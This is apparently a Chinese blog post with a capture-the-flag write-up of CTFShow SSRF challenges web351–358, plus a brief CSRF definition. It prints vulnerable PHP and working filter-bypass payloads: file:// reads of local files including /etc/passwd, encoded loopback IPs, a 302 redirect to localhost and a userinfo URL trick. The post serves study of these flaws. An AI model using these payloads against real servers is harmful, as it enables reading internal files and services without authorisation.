SSRF & CSRF

朝花夕拾。

前言

遥远的三年前就被 Matrix 面试问过 CSRF,如今子弹正中眉心了。

SSRF

SSRF 简介

SSRF(Server-Side Request Forgery)中文翻译过来就是服务器端请求伪造攻击。

以下为 CTFShow 上的题目:

web351 - web355

题目 web351 直接访问代码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

再测试一下目录,发现存在 /flag.php 文件,访问提示 非本地用户禁止访问,说明题目意思就是利用 index.php 来构造 SSRF 攻击访问 /flag.php
搜索发现 curl_exec() 函数可以使用 file:// 协议来读取本地文件,直接构造请求:

1
curl -X POST -d "url=file:/var/www/html/flag.php" http://f9eb43c2-526b-4868-9513-ec378c84383c.challenge.ctf.show/

即可查看到 /flag.php 的内容,同样也能读取 /etc/passwd 等文件。

web352 直接访问代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

题目意思框定了要求的协议为 httphttps,并且不能包含 localhost127.0.0,但是仔细观察可以发现 preg_match() 函数只有 pattern 参数,根本没有起到检测的作用,直接传 http://127.0.0.1/flag.php 也能访问到 /flag.php 的内容,预期解应该是传长整数型的 IP,即 http://2130706433/flag.php,当然直接传 0x7f000001 也是没有问题的。

web353 直接访问代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

。。。直接就是上一题的 revenge,但是聪明的出题人你知不知道回送地址是 127.0.0.0/8 呢
我直接一个 127.2.0.1 你不炸了吗

web354 做得比较绝了,直接 preg_match('/localhost|1|0|。/i', $url),我想一会直接搞了个比较淫荡的方法,经过测试这个环境是通网的,那直接用手头的域名解析到 127.0.0.1 即可,http://local.weyung.cc/flag.php 就行了,最后一看 wp 好像这还确实是预期解,绷。

web 356 直接访问代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

把 host 长度限制在 5 个字符以内,想不出来了,看 wp 的话可以 http://0/flag.php,因为在 Linux 中 0 指向 localhost,也可以 http://127.1/flag.php,当然我觉得有钱买个更短的域名应该也行就是了(

web356 - web360

web356 直接就是把长度限制调成 3 了,应该就是只能用 http://0/flag.php 了。

web357 直接访问代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

这个过滤也做得比较绝,直接把本地 IP 都封死了,只能在公网服务器做一个 302 重定向

1
<?php header("Location: http://127.0.0.1/flag.php", true, 302);?>

然后访问这个公网 IP 即可。

web358 直接访问代码如下:

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

这个除了搞一个 ctf 开头的域名以外我也想不出来方法了,看 wp 可以构造 http://ctf.@127.0.0.1/flag.php?show 这样的 payload,直接把 ctf. 作为 username 传入。

web359 开始就是正经题目了,访问得到一个登录页面

// To be continued…

CSRF

CSRF(Cross-Site Request Forgery)中文翻译过来就是跨站请求伪造攻击。
我一度分不清 CSRF 和 XSS 的区别,大致区别就是 XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任

参考

https://xz.aliyun.com/news/10663
https://blog.csdn.net/qq_43378996/article/details/123910614
https://en.wikipedia.org/wiki/Cross-site_request_forgery

作者

未央

发布于

2025-04-03

更新于

2025-04-16

许可协议

评论